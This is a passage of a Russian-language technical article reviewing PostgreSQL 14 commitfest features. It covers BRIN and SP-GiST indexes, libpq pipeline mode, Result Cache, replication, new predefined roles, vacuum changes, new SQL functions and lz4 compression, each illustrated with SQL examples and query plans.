Rows Removed by Index Recheck: 12290
Heap Blocks: lossy=1664
-> Bitmap Index Scan on flights_bi_scheduled_time_idx
(actual rows=16640 loops=1)
Index Cond: ...
Planning Time: 0.475 ms
Execution Time: 77.029 ms
```
Но если данные в таблице будут меняться, физический порядок строк нарушится. Допустим, мы решили уточнить координаты некоторых аэропортов:
```
UPDATE flights_bi
SET airport_coord = point '(56.0211982727,57.9145011902)'
WHERE airport_code = 'PEE';
VACUUM flights_bi;
UPDATE flights_bi
SET airport_coord = point '(39.9566001892,43.4499015808)'
WHERE airport_code = 'AER';
VACUUM flights_bi;
```
Строки отчасти перемешались, и теперь тот же индекс работает значительно хуже:
```
QUERY PLAN
------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual rows=83954 loops=1)
Recheck Cond: ...
Rows Removed by Index Recheck: 4004401
Heap Blocks: lossy=71033
-> Bitmap Index Scan on flights_bi_scheduled_time_idx
(actual rows=710600 loops=1)
Index Cond: ...
Planning Time: 9.322 ms
Execution Time: 17385.129 ms
```
Попробуем создать BRIN-индекс с классом операторов minmax\_multi:
```
CREATE INDEX ON flights_bi USING brin(scheduled_time timestamptz_minmax_multi_ops);
```
Индекс получается несколько больше, примерно мегабайт против 160 Кбайтов. Но за счет расширенной информации о зонах он значительно лучше справляется с изменившейся корреляцией:
```
QUERY PLAN
------------------------------------------------------------
Bitmap Heap Scan on flights_bi (actual rows=83954 loops=1)
Recheck Cond: ...
Rows Removed by Index Recheck: 672976
Heap Blocks: lossy=13157
-> Bitmap Index Scan on flights_bi_scheduled_time_idx1
(actual rows=131840 loops=1)
Index Cond: ...
Planning Time: 0.291 ms
Execution Time: 378.037 ms
```
**[Покрывающие индексы типа SP-GiST](https://commitfest.postgresql.org/32/2675/)**
commit: [09c1c6ab](https://github.com/postgres/postgres/commit/09c1c6ab)
Возможность добавлять в индекс неключевые столбцы в предложении INCLUDE появилась еще в 11 версии, но только для индексов с типом B-дерево. В 12 версии добавили поддержку индексов GiST.
Теперь к ним присоединяются индексы SP-GiST.
**[REINDEX: перестройка индексов в другом табличном пространстве](https://commitfest.postgresql.org/32/2269/)**
commit: [c5b28604](https://github.com/postgres/postgres/commit/c5b28604), [57e6db70](https://github.com/postgres/postgres/commit/57e6db70)
В команде REINDEX можно указать, что индексы нужно перестроить в другом табличном пространстве. Работает и для CONCURRENTLY. Такая возможность полезна, когда индекс перестроить нужно, а вот место на диске заканчивается. В таком случае можно подключить новый диск, создать для него табличное пространство и указать его при перестроении.
Новое табличное пространство:
```
CREATE TABLESPACE new_place LOCATION '/home/pluzanov/pg14/data2';
\db
```
```
List of tablespaces
Name | Owner | Location
------------+----------+---------------------------
new_place | postgres | /home/pluzanov/pg14/data2
pg_default | postgres |
pg_global | postgres |
(3 rows)
```
Перестраиваем все индексы таблицы:
```
REINDEX (TABLESPACE new_place) TABLE flights;
SELECT c.relname, c.relkind, ts.spcname
FROM pg_class c
LEFT JOIN pg_tablespace ts ON c.reltablespace = ts.oid
WHERE relname LIKE 'flights%' AND relkind IN ('r','i');
```
```
relname | relkind | spcname
-------------------------------------------+---------+-----------
flights | r |
flights_flight_no_scheduled_departure_key | i | new_place
flights_pkey | i | new_place
(3 rows)
```
Индексы переехали, а таблица осталась в табличном пространстве по умолчанию.
Второй коммит добавляет параметр --tablespace к команде reindexdb.
Производительность
------------------
**[libpq: api для конвейерного режима работы](https://commitfest.postgresql.org/32/2724/)**
commit: [acb7e4eb](https://github.com/postgres/postgres/commit/acb7e4eb), [9aa491ab](https://github.com/postgres/postgres/commit/9aa491ab)
Протокол libpq давно поддерживает асинхронное выполнение команд. Отправили команду на сервер, а за результатом можно обратиться позже. Но отправить следующую команду до получения результата от предыдущей было нельзя.
Теперь это стало возможным в новом режиме конвейерной обработки (pipeline mode). После переключения в конвейерный режим приложение может посылать на сервер несколько запросов, не дожидаясь результатов их выполнения. Точнее, запросы не посылаются на сервер, а встают в очередь на отправку. Непосредственно отправка происходит при вызове функции синхронизации с сервером. Команды на сервере выполняются в порядке постановки в очередь, в таком же порядке возвращаются результаты.
Конвейерный режим эффективен при выполнении большого количества коротких команд за счет сокращения времени на обмен с сервером. Особенно если сетевые задержки существенные. Но такой режим требует больше памяти и на клиенте, и на сервере.
Второй коммит добавляет в pgbench команды \startpipeline и \endpipeline для поддержки конвейерного режима libpq.
**[Параллельное выполнение REFRESH MATERIALIZED VIEW](https://commitfest.postgresql.org/32/2856/)**
commit: [9e7ccd9e](https://github.com/postgres/postgres/commit/9e7ccd9e)
При создании материализованного представления для выполнения запроса могут использоваться планы с параллельным выполнением. А вот для обновления мат. представления параллельные планы считались небезопасными.
При более внимательном рассмотрении оказалось, что REFRESH MATERIALIZED VIEW вполне может использовать параллельные планы. Что и было сделано.
**[Эффективное сканирование по диапазону идентификаторов строк](https://commitfest.postgresql.org/32/2924/)**
commit: [bb437f99](https://github.com/postgres/postgres/commit/bb437f99)
Для поиска по диапазону идентификаторов строк (tid) в плане запроса добавлен новый узел TID Range Scan.
Вот план запроса, выводящий все строки, расположенные на первой странице таблицы tickets:
```
EXPLAIN SELECT * FROM tickets WHERE ctid >= '(0,0)' AND ctid < '(1,0)';
```
```
QUERY PLAN
----------------------------------------------------------------
Tid Range Scan on tickets (cost=0.01..4.59 rows=59 width=104)
TID Cond: ((ctid >= '(0,0)'::tid) AND (ctid < '(1,0)'::tid))
```
Аналогичный план в 13 версии существенно дороже:
```
QUERY PLAN
-----------------------------------------------------------------------------
Gather (cost=1000.00..68857.51 rows=59 width=104)
Workers Planned: 2
-> Parallel Seq Scan on tickets (cost=0.00..67851.61 rows=25 width=104)
Filter: ((ctid >= '(0,0)'::tid) AND (ctid < '(1,0)'::tid))
```
**[postgres\_fdw: асинхронное выполнение узла Append](https://commitfest.postgresql.org/32/2491/)**
commit: [27e1f145](https://github.com/postgres/postgres/commit/27e1f145)
Дана секционированная таблица с тремя секциями:
```
\d bookings_range
```
```
Partitioned table "bookings.bookings_range"
Column | Type | Collation | Nullable | Default
--------------+--------------------------+-----------+----------+---------
book_ref | character(6) | | |
book_date | timestamp with time zone | | |
total_amount | numeric(10,2) | | |
Partition key: RANGE (book_date)
Number of partitions: 3 (Use \d+ to list them.)
```
Сколько же в ней записей? Если честно ― неинтересно. Зато интересно посмотреть на план запроса:
```
EXPLAIN (COSTS OFF) SELECT COUNT(*) FROM bookings_range;
```
```
QUERY PLAN
------------------------------------------------------------
Aggregate
-> Append
-> Seq Scan on p201607 bookings_range_1
-> Async Foreign Scan on p201608 bookings_range_2
-> Async Foreign Scan on p201609 bookings_range_3
```
Что это за узел такой Async Foreign Scan? Неужели это именно то, о чем все подумали? Точно, это параллельное сканирование секций, представляющих собой внешние таблицы!
Из трех секций только первая является обычной таблицей в текущей базе данных, а две другие расположены на других серверах:
```
\det
```
```
List of foreign tables
Schema | Table | Server
----------+---------+------------
bookings | p201608 | srv_201608
bookings | p201609 | srv_201609
```
Мечты о встроенном шардинге в PostgreSQL неторопливо сбываются. Но это крутой шаг вперед!
**[Узел плана Result Cache для соединения вложенными циклами](https://commitfest.postgresql.org/32/2569/)**
commit: [9eacee2e](https://github.com/postgres/postgres/commit/9eacee2e)
Принцип соединения вложенными циклами кратко можно описать так. Для каждой строки первого или внешнего набора нужно поискать во втором наборе строки, удовлетворяющие условию соединения.
Но что, если в первом наборе будет много строк с одинаковыми значениями столбцов, по которым выполняется соединение? В таком случае придется несколько раз искать во внутреннем наборе одни и те же строки. А что если закешировать результаты поиска во внутреннем наборе и запомнить, для какого условия этот набор получен? Тогда можно на очередном проходе по внешнем циклу посмотреть, а нет ли у нас уже заготовленного результата поиска во внутреннем наборе.
Эта логика реализована в новом узле плана Result Cache. Чтобы увидеть её в действии, создадим мат. представление по 10 бронированиям, в которых больше всего билетов.
```
CREATE MATERIALIZED VIEW top10 AS
SELECT book_ref, ticket_no
FROM tickets
WHERE book_ref IN (
SELECT book_ref
FROM tickets
GROUP BY book_ref
ORDER BY count(*) DESC LIMIT 10
);
ANALYZE top10;
```
Напомню, что в одно бронирование может входит несколько билетов. В нашем случае в каждое бронирование входит 5 билетов:
```
SELECT book_ref, COUNT(*) FROM top10 GROUP BY 1;
```
```
book_ref | count
----------+-------
581B6D | 5
831982 | 5
88C866 | 5
D6B5B2 | 5
0D15DF | 5
E9F768 | 5
876B11 | 5
10EAF6 | 5
A4CCF6 | 5
A1A654 | 5
```
А теперь соединим мат. представление с таблицей бронирований и посмотрим на план запроса:
```
EXPLAIN (COSTS OFF, ANALYZE, TIMING OFF, SUMMARY OFF)
SELECT * FROM bookings JOIN top10 USING (book_ref);
```
```
QUERY PLAN
----------------------------------------------------------------------------
Nested Loop (actual rows=50 loops=1)
-> Seq Scan on top10 (actual rows=50 loops=1)
-> Result Cache (actual rows=1 loops=50)
Cache Key: top10.book_ref
Hits: 40 Misses: 10 Evictions: 0 Overflows: 0 Memory Usage: 2kB
-> Index Scan using bookings_pkey on bookings (actual rows=1 loops=10)
Index Cond: (book_ref = top10.book_ref)
```
Таблицы соединяются методом вложенных циклов. В качестве внешнего цикла выбрана top10, в которой 50 строк. Но только для 10 строк нужно реально ходить в таблицу bookings, в остальных случаях достаточно воспользоваться закешированными результатами. Расход памяти для кешей минимальный, поэтому вытеснений и переполнений не случилось.
Возможность кешировать результаты можно отключить новым параметром:
```
SET enable_resultcache = OFF;
EXPLAIN (COSTS OFF, ANALYZE, TIMING OFF, SUMMARY OFF)
SELECT * FROM bookings JOIN top10 USING (book_ref);
```
```
QUERY PLAN
---------------------------------------------------------------------------
Nested Loop (actual rows=50 loops=1)
-> Seq Scan on top10 (actual rows=50 loops=1)
-> Index Scan using bookings_pkey on bookings (actual rows=1 loops=50)
Index Cond: (book_ref = top10.book_ref)
```
Это уже привычный по предыдущим версиям план запроса.
**[Вычисление nullif при построении плана запроса](https://commitfest.postgresql.org/32/2833/)**
commit: [9c5f67fd](https://github.com/postgres/postgres/commit/9c5f67fd)
Планировщик вычисляет выражения с nullif на этапе построения плана запроса.
В версии 13 сканирование таблицы включается в план и только на этапе выполнения постгрес всё-таки понимает, что это не нужно:
```
EXPLAIN (ANALYZE, TIMING OFF, COSTS OFF, SUMMARY OFF)
SELECT * FROM tickets WHERE NULLIF(1, 2) = 2;
```
```
QUERY PLAN
--------------------------------------------
Result (actual rows=0 loops=1)
One-Time Filter: (NULLIF(1, 2) = 2)
-> Seq Scan on tickets (never executed)
```
План этого же запроса в 14 версии:
```
QUERY PLAN
--------------------------------
Result (actual rows=0 loops=1)
One-Time Filter: false
```
Репликация
----------
**[Уточнения в сообщении об ошибке подключения к реплике](https://commitfest.postgresql.org/32/2509/)**
commit: [df938449](https://github.com/postgres/postgres/commit/df938449)
Сообщение об ошибке подключения к реплике с выключенным *hot\_standby* стало более понятным. Раньше просто было «the database system is starting up», теперь «the database system is not accepting connections» и в детальном сообщении «Hot standby mode is disabled.»
Если же hot\_standby включен, но восстановление еще не дошло до согласованного состояния, когда возможны подключения, то текст сообщения будет «the database system is not yet accepting connections», а детальное сообщение «Consistent recovery state has not been yet reached.»
**[Удаление временных файлов после аварийного завершения процесса](https://commitfest.postgresql.org/32/2803/)**
commit: [cd91de0d](https://github.com/postgres/postgres/commit/cd91de0d)
Если какой-либо из серверных процессов завершается аварийно, то созданные им временные файлы сознательно не удаляются. Они могут пригодиться для отладки и поиска причин падения. Однако в реальной жизни отладкой занимаются далеко не все, а процессы могут падать, оставляя мусор после себя. Со временем мусорные данные накапливаются, заполняя дисковое пространство. А чтобы их удалить, нужно перезагрузить сервер, что не во всех случаях возможно. Конечно, смельчаки могут удалять и вручную, если не боятся удалить лишнее (а они не боятся, хотя и напрасно).
Такое поведение изменили. Теперь по умолчанию временные файлы будут удаляться при падении процесса. Но этим можно управлять при помощи нового параметра конфигурации *remove\_temp\_files\_after\_crash*.
UPD: Следующий патч откатили: [c2dc1934](https://github.com/postgres/postgres/commit/c2dc1934)
**[Упреждающее чтение WAL при восстановлении](https://commitfest.postgresql.org/32/2410/)**
commit: [1d257577](https://github.com/postgres/postgres/commit/1d257577), [f003d9f8](https://github.com/postgres/postgres/commit/f003d9f8)
В процессе восстановления можно заставить сервер просматривать следующие записи WAL с целью определения страниц данных, которые понадобятся для восстановления в ближайшее время. И если этих страниц нет в буферном кеше, то их нужно загрузить.
Такая возможность включается новым параметром *recovery\_prefetch*, выключенным по умолчанию. Размер журнала WAL для чтения вперед настраивается параметром *wal\_decode\_buffer\_size*. А для мониторинга предназначено новое представление pg\_stat\_prefetch\_recovery.
Текущая реализации основана на системном вызове posix\_fadvise, доступном не на всех платформах.
**[Репликация: как убедиться, что восстановление приостановлено?](https://commitfest.postgresql.org/32/2795/)**
commit: [32fd2b57](https://github.com/postgres/postgres/commit/32fd2b57)
Функция pg\_wal\_replay\_pause приостанавливает процесс восстановления. Но остановка может произойти не сразу, ведь проверка запроса на остановку выполняется только в некоторых местах.
Как убедиться, что восстановление приостановлено? Есть функция pg\_is\_wal\_replay\_paused, которая могла бы дать ответ на этот вопрос, но на самом деле возвращает не совсем то, что нужно. Она возвращает истину в том случае, когда была запрошена приостановка функцией pg\_wal\_replay\_pause, но реальная остановка возможно еще не случилась.
Чтобы не менять прежнее поведение, функцию pg\_is\_wal\_replay\_paused оставили как есть. И добавили новую: pg\_get\_wal\_replay\_pause\_state, возвращающую значения:
* not paused ― восстановление работает;
* paused requested ― сразу после вызова pg\_wal\_replay\_pause и до реальной остановки;
* paused ― восстановление приостановлено.
**[ALTER SUBSCRIPTION… ADD/DROP PUBLICATION](https://commitfest.postgresql.org/32/2965/)**
commit: [82ed7748](https://github.com/postgres/postgres/commit/82ed7748)
Речь пойдет о логической репликации. В одной подписке можно подписаться на несколько публикаций. Это нормально:
```
CREATE SUBSCRIPTION sub1 .. PUBLICATION pub1, pub2, pub3;
```
Но что делать, если требуется изменить список публикаций? Предполагается, что для обновления списка нужно выполнить команду:
```
ALTER SUBSCRIPTION sub1 SET PUBLICATION новый_список_публикаций;
```
Т. е. если нужно добавить новую публикацию к текущему списку или удалить одну из публикаций, мы всё равно должны перечислить все публикации.
В 14 версии при обновлении подписки, кроме SET, можно еще использовать:
```
ALTER SUBSCRIPTION sub1 ADD PUBLICATION pub4;
ALTER SUBSCRIPTION sub1 DROP PUBLICATION pub1;
```
Безопасность
------------
**[Предопределенная роль pg\_database\_owner](https://commitfest.postgresql.org/32/2913/)**
commit: [a14a0118](https://github.com/postgres/postgres/commit/a14a0118)
Роль pg\_database\_owner полезна для выдачи привилегий владельцам баз данных.
Предположим мы хотим сделать так, чтобы владелец каждой новой базы данных имел право читать из таблицы pg\_statistic. По умолчанию читать из неё могут только суперпользователи.
Для этого в шаблонной базе выдадим соответствующую привилегию для pg\_database\_owner.
```
\c template1 postgres
GRANT SELECT ON pg_statistic TO pg_database_owner;
```
Теперь владелец каждой новой базы данных, даже не будучи суперпользователем, получает право читать из pg\_statistic:
```
\c postgres postgres
CREATE ROLE app_owner LOGIN;
CREATE DATABASE app_db OWNER app_owner;
```
Проверим:
```
\c app_db app_owner
SELECT COUNT(*) FROM pg_statistic;
```
```
count
-------
405
```
[Описание](https://www.depesz.com/2021/04/01/waiting-for-postgresql-14-add-pg_database_owner-default-role/) от depesz.
**[Предопределенные роли pg\_read\_all\_data и pg\_write\_all\_data](https://commitfest.postgresql.org/32/2702/)**
commit: [6c3ffd69](https://github.com/postgres/postgres/commit/6c3ffd69)
Нужен пользователь, который может всё читать, но ничего не может менять?
```
CREATE ROLE readonly LOGIN BYPASSRLS;
GRANT pg_read_all_data TO readonly;
```
Всё!
Пользователь readonly получил право USAGE на все схемы и права на чтение всех таблиц (включая системные, типа pg\_authid), представлений и последовательностей. И так во всех базах данных кластера.
Дежурному админу нужно делать pg\_dump/pg\_dumpall, но не хочется выдавать ему права суперпользователя? Хм, что может быть проще.
Вторая роль pg\_write\_all\_data дает права INSERT, UPDATE, DELETE на все таблицы, представления и последовательности. Опять же во всех схемах всех базах данных кластера.
**[Сжатие SSL больше не поддерживается](https://commitfest.postgresql.org/32/3002/)**
commit: [f9264d15](https://github.com/postgres/postgres/commit/f9264d15)
Использовать сжатие SSL не рекомендовалось уже с 11 версии. Теперь от поддержки сжатия окончательно отказались.
**[Аутентификация по уникальному имени в клиентском сертификате](https://commitfest.postgresql.org/32/2835/)**
commit: [6d7a6fea](https://github.com/postgres/postgres/commit/6d7a6fea)
В аутентификации по сертификату появился новый параметр clientname, в котором можно указать какое имя в сертификате CN (Common Name) или DN (Distinguished Name) использовать для поиска соответствия с именем пользователя. Если параметр clientname не указан, то как и раньше используется CN.
**[SSL: установка расширения Server Name Indication (SNI)](https://commitfest.postgresql.org/32/3010/)**
commit: [5c55dc8b](https://github.com/postgres/postgres/commit/5c55dc8b)
libpq по умолчанию будет устанавливать расширение TLS «[Server Name Indication](https://tools.ietf.org/html/rfc6066#section-3)». Имя хоста передается открытым текстом. Если это неприемлемо, то установку SNI можно отменить параметром libpq sslsni.
Сервер
------
**[Значение параметра *vacuum\_cost\_page\_miss* снижено до 2](https://commitfest.postgresql.org/32/2936/)**
commit: [e19594c5](https://github.com/postgres/postgres/commit/e19594c5)
Широкое использование дисков SSD заставляет разработчиков вносить коррективы в настройки системы.
В 12 версии значение параметра *autovacuum\_vacuum\_cost\_delay* уменьшили с 20 до 2 миллисекунд и автоочистка по умолчанию стала работать в 10 раз агрессивнее.
На этот раз уменьшили значение [*vacuum\_cost\_page\_miss*](https://www.postgresql.org/docs/devel/runtime-config-resource.html#GUC-VACUUM-COST-PAGE-MISS) c 10 до 2. Очистка от этого не станет агрессивнее, но такое значение лучше отражает соотношение затрат на обработку страницы, которую нужно загрузить в буферный кеш (*vacuum\_cost\_page\_miss*) и которую придется сбросить на диск (*vacuum\_cost\_page\_dirty*, по умолчанию 20).
**[Параметр checkpoint\_completion\_target: значение по умолчанию 0.9](https://commitfest.postgresql.org/32/2858/)**
commit: [bbcc4eb2](https://github.com/postgres/postgres/commit/bbcc4eb2)
Известный факт, что процесс контрольной точки активно пишет на диск, а это может сильно замедлять работу других процессов. И известная рекомендация, что для сглаживания пишущей нагрузки во времени следует увеличивать значение по умолчанию 0.5, вплоть до 0.9.
Теперь эта рекомендация нашла свое отражение в значении по умолчанию для параметра.
**[Параллельное выполнение очистки и CREATE INDEX | REINDEX… CONCURRENTLY](https://commitfest.postgresql.org/32/2940/)**
commit: [d9d07622](https://github.com/postgres/postgres/commit/d9d07622)
В статье о [ноябрьском коммитфесте](https://habr.com/ru/company/postgrespro/blog/533058/#commit_c98763bf) писалось о неблокирующем параллельном выполнении CREATE INDEX CONCURRENTLY, а в статье об [январском](https://habr.com/ru/company/postgrespro/blog/541252/#commit_f9900df5) про аналогичную оптимизацию для REINDEX CONCURRENTLY.
Теперь научили VACUUМ не ждать завершения этих двух видов команд. Очень хорошо, ведь на создание и/или перестройку больших индексов может уйти много времени.
Стоит напомнить, что речь идет об индексах, использующих данные только одной таблицы. Частичные индексы и индексы по выражениям будут по-прежнему блокироваться, ведь они могут обращаться к другим таблицам.
**[Очистка пропускает сканирование индексов, когда это малоэффективно](https://commitfest.postgresql.org/32/2898/)**
commit: [5100010e](https://github.com/postgres/postgres/commit/5100010e)
Предположим, что у нас есть таблица с двумя индексами и небольшим количеством мертвых строк:
```
CREATE TABLE t (col1 int primary key, col2 int unique)
WITH (autovacuum_enabled=false);
INSERT INTO t SELECT f.x, f.x FROM generate_series(1,100000) AS f(x);
UPDATE t SET col2 = -col2 WHERE col1 < 100;
```
Выполняем очистку:
```
VACUUM VERBOSE t;
```
```
INFO: vacuuming "public.t"
INFO: "t": index scan bypassed: 443 pages from table (0.23% of total) have 99 dead item identifiers
INFO: launched 1 parallel vacuum worker for index cleanup (planned: 1)
INFO: "t": found 99 removable, 100000 nonremovable row versions in 443 out of 443 pages
DETAIL: 0 dead row versions cannot be removed yet, oldest xmin: 27459
0 pages removed.
Skipped 0 pages due to buffer pins, 0 frozen pages.
CPU: user: 0.01 s, system: 0.00 s, elapsed: 0.02 s.
```
Любопытна вторая строка. Очистка сообщает, что в таблице очень мало страниц с мертвыми строками (0,23%). И поэтому пропускает очистку индексов.
Такое поведение позволяет очистке не тратить время на полное сканирование всех индексов в ситуации, когда мертвых строк мало.
Сколько же это «мало»? Мало ― когда количество страниц содержащих мертвые строки не превышает 2% от общего количества страниц в таблице.
В будущем возможны дальнейшие оптимизации на эту тему. Например пропускать очистку отдельных индексов.
**[VACUUM: очистка основной таблицы без TOAST-части](https://commitfest.postgresql.org/32/2961/)**
commit: [7cb3048f](https://github.com/postgres/postgres/commit/7cb3048f)
Команда VACUUM выполняет очистку как основной таблицы, так и её TOAST-части. Если по каким-то причинам таблица TOAST неоправданно сильно разрослась или требует срочной заморозки строк, то её можно очистить отдельно от основной таблицы той же самой командой VACUUM. А вот вручную очистить только основную таблицу, без TOAST, возможности не было.
Теперь она появилась:
```
VACUUM (PROCESS_TOAST OFF) tickets;
```
Для VACUUM FULL отключить обработку таблицы TOAST нельзя. По умолчанию параметр PROCESS\_TOAST включен.
Стоит заметить, что автоматическая очистка обрабатывает основную таблицу и её TOAST-часть как самостоятельные таблицы. При правильной настройке необходимости чистить их по отдельности возникать не должно.
**[Завершение автоочистки, если «пропал» postmaster](https://commitfest.postgresql.org/32/2870/)**
commit: [4753ef37](https://github.com/postgres/postgres/commit/4753ef37)
Если процесс postmaster аварийно завершается, то об этом узнают все остальные процессы и также завершаются.
Почти все, но не все. Как оказалось, рабочие процессы автоочистки продолжают трудиться, что и было исправлено. Теперь и они завершаются.
**[Функция date\_bin](https://commitfest.postgresql.org/32/2474/)**
commit: [49ab61f0](https://github.com/postgres/postgres/commit/49ab61f0)
Функция date\_trunc обрезает дату до указанной в первом параметре точности: час, день, месяц и т.д. Полный список значений есть в [документации](https://postgrespro.ru/docs/postgresql/13/functions-datetime#FUNCTIONS-DATETIME-TRUNC).
Но что если нужно обрезать дату до произвольного интервала? Например, мы хотим получить статистику по рейсам в разбивке по времени дня: сколько рейсов было ночью, утром, днем и вечером. На помощь приходит новая функция date\_bin:
```
SELECT date_bin('6 hours', scheduled_departure, '1970-01-01') AS day_part,
count(*)
FROM flights
WHERE scheduled_departure::date = bookings.now()::date
GROUP BY day_part
ORDER BY day_part;
```
```
day_part | count
------------------------+-------
2017-08-15 00:00:00+03 | 13
2017-08-15 06:00:00+03 | 224
2017-08-15 12:00:00+03 | 255
2017-08-15 18:00:00+03 | 53
```
**[Агрегатная функция bit\_xor](https://commitfest.postgresql.org/32/2980/)**
commit: [f9a0392e](https://github.com/postgres/postgres/commit/f9a0392e)
В PostgreSQL давно есть побитовые агрегатные функции bit\_and и bit\_or. Теперь добавилась и bit\_xor для *исключающего или*. Функция выдает установленный бит, если в агрегируемой выборке этот бит установлен в нечетном количестве значений.
На примере битовых строк (функция определена также для целых чисел):
```
SELECT bit_xor(n) FROM (
VALUES
(b'100'),
(b'110'),
(b'111')
) t(n);
```
```
bit_xor
---------
101
(1 row)
```
Функцию можно использовать, например, для подсчета простой контрольной суммы.
**[Функция bit\_count](https://commitfest.postgresql.org/32/2917/)**
commit: [a6715af1](https://github.com/postgres/postgres/commit/a6715af1)
Новая функция SQL показывает, сколько бит установлено:
```
SELECT bit_count(B'001'), bit_count(B'011'), bit_count(B'111');
```
```
bit_count | bit_count | bit_count
-----------+-----------+-----------
1 | 2 | 3
```
**[Функция unistr](https://commitfest.postgresql.org/32/2613/)**
commit: [f37fec83](https://github.com/postgres/postgres/commit/f37fec83)
Новая функция преобразует спецпоследовательности с символами Unicode в строку Unicode.
Например, вот первые несколько символов расширенной [кириллицы](https://ru.wikipedia.org/wiki/%D0%9A%D0%B8%D1%80%D0%B8%D0%BB%D0%BB%D0%B8%D1%86%D0%B0_(%D0%B1%D0%BB%D0%BE%D0%BA_%D0%AE%D0%BD%D0%B8%D0%BA%D0%BE%D0%B4%D0%B0)#%D0%9A%D0%BE%D0%BC%D0%BF%D0%B0%D0%BA%D1%82%D0%BD%D0%B0%D1%8F_%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0):
```
SELECT unistr('\u0400\u0401\u0402\u0403\u0404');
```
```
unistr
--------
ЀЁЂЃЄ
```
[Описание](https://www.depesz.com/2021/04/01/waiting-for-postgresql-14-add-unistr-function/) от depesz.
**[Функция trim\_array](https://commitfest.postgresql.org/32/2997/)**
commit: [0a687c8f](https://github.com/postgres/postgres/commit/0a687c8f)
Функция обрезает с конца массива указанное количество элементов:
```
SELECT trim_array(ARRAY['A','B','C','D','E'], 2);
```
```
trim_array
------------
{A,B,C}
```
Большой необходимости в такой функции нет, для получения части массива удобно использовать срезы или имеющиеся функции. Но trim\_array описана в стандарте SQL и теперь она есть в PostgreSQL.
**[Функция extract, аналог date\_part, но возвращает numeric](https://commitfest.postgresql.org/32/2679/)**
commit: [a2da77cd](https://github.com/postgres/postgres/commit/a2da77cd)
Конструкция EXTRACT преобразуется в вызов функции date\_part, которая возвращает значение типа double precision:
```
SELECT pg_typeof(extract(epoch from now()));
```
```
pg_typeof
------------------
double precision
```
В некоторых случаях точности этого типа может не хватить. Проблему бы решила замена у функции date\_part типа возвращаемого значения с double precision на numeric, но менять тип возвращаемого значения существующей функции опасно.
Решили сделать так. Создали новый набор перегруженных функций с именем extract, входные параметры которых соответствуют параметрам date\_part, а тип возвращаемого значения numeric. Конструкция EXTRACT теперь преобразуется в вызов новой функции extract и возвращает numeric:
```
SELECT pg_typeof(extract(epoch from now()));
```
```
pg_typeof
-----------
numeric
```
Функции date\_part оставили без изменения для обратной совместимости.
**[Выбор метода сжатия данных](https://commitfest.postgresql.org/32/2813/)**
commit: [bbe0a81d](https://github.com/postgres/postgres/commit/bbe0a81d)
PostgreSQL умеет сжимать большие значения в столбцах с типами переменной длины: text, bytea, json[b] и др. Для сжатия всегда используется zlib.
Но только не в PostgreSQL 14. Теперь можно выбирать из двух методов сжатия: zlib (точнее pglz) или lz4. По умолчанию используется pglz.
```
CREATE TABLE json_data (name text, data jsonb);
\d+ json_data
```
```
Table "public.json_data"
Column | Type | Collation | Nullable | Default | Storage | Compression ...
--------+-------+-----------+----------+---------+----------+-------------
name | text | | | | extended | pglz
data | jsonb | | | | extended | pglz
Access method: heap
```
Но умолчанием можно управлять в новом параметре конфигурации *default\_toast\_compression*.
Изменим метод сжатия для столбца jsonb:
```
ALTER TABLE json_data ALTER COLUMN data SET COMPRESSION lz4;
\d+ json_data
```
```
Table "public.json_data"
Column | Type | Collation | Nullable | Default | Storage | Compression ...
--------+-------+-----------+----------+---------+----------+-------------
name | text | | | | extended | pglz
data | jsonb | | | | extended | lz4
Access method: heap
```
Метод сжатия lz4, как говорится на [страничке](https://github.com/lz4/lz4) проекта на github, является чрезвычайно быстрым, хотя и не столь эффективно сжимает данные. Там же можно найти сравнительную таблицу различных алгоритмов сжатия.
Ну а чтобы понять, стоит ли переходить на новый метод сжатия, стоит протестировать его работу на собственной системе.
[Описание](https://www.depesz.com/2021/03/22/waiting-for-postgresql-14-allow-configurable-lz4-toast-compression/) от depesz.
**[Расширенная статистика по выражениям](https://commitfest.postgresql.org/32/2832/)**
commit: [a4d75c86](https://github.com/postgres/postgres/commit/a4d75c86)
Команда CREATE STATISTICS позволяет собирать статистику не только по комбинациям столбцов, но еще и по комбинациям выражений. В том числе и по одному выражению.
Предположим, нам нужно получить список всех рейсов, вылетающих по понедельникам:
```
EXPLAIN (ANALYZE, TIMING OFF)
SELECT * FROM flights WHERE to_char(scheduled_departure, 'DY') = 'MON';
```
```
QUERY PLAN
--------------------------------------------------------------------------
Gather (cost=1000.00..5627.29 rows=1074 width=63)
(actual rows=30552 loops=1)
...
```
Как видим планировщик ошибается в оценке кардинальности примерно в 30 раз. Что делать? Можно было бы создать функциональный индекс по выражению, для таких индексов статистика собирается отдельно. Но только не в этом примере, ведь функция to\_char имеет категорию изменчивости stable, что не позволяет создать индекс по ней.
Для улучшения оценки планировщика создадим статистику по выражению:
```
CREATE STATISTICS s_flights ON to_char(scheduled_departure, 'DY')
FROM flights;
ANALYZE flights;
```
Статистики по выражениям можно посмотреть в новом представлением pg\_stats\_ext\_exprs (по аналогии с pg\_stats):
```
SELECT * FROM pg_stats_ext_exprs WHERE statistics_name = 's_flights'\gx
```
```
-[ RECORD 1 ]----------+--------------------------------------------------
schemaname | bookings
tablename | flights
statistics_schemaname | bookings
statistics_name | s_flights
statistics_owner | postgres
expr | to_char(scheduled_departure, 'DY'::text)
null_frac | 0
avg_width | 7
n_distinct | 7
most_common_vals | {SAT,TUE,WED,THU,MON,SUN,FRI}
most_common_freqs | {0.1483,0.14606667,0.14523333,0.14496666,0.14436667,0.14196667,0.1291}
histogram_bounds |
correlation | 0.1514369
most_common_elems |
most_common_elem_freqs |
elem_count_histogram |
```
Ну а что стало с оценкой кардинальности запроса? Всё в порядке:
```
EXPLAIN (ANALYZE, TIMING OFF)
SELECT * FROM flights WHERE to_char(scheduled_departure, 'DY') = 'MON';
```
```
QUERY PLAN
--------------------------------------------------------------------------
Seq Scan on flights (cost=0.00..5847.00 rows=31020 width=63)
(actual rows=30552 loops=1)
...
```
**[FDW: поддержка TRUNCATE](https://commitfest.postgresql.org/32/2972/)**
commit: [8ff1c946](https://github.com/postgres/postgres/commit/8ff1c946)
Обертки сторонних данных теперь могут выполнять TRUNCATE для сторонних таблиц. В первую очередь поддержку этой команды добавили в postgres\_fdw.
Очередь за разработчиками других fdw.
**[postgres\_fdw: управление удаленными сеансами](https://commitfest.postgresql.org/32/2650/)**
commit: [b1be3074](https://github.com/postgres/postgres/commit/b1be3074)
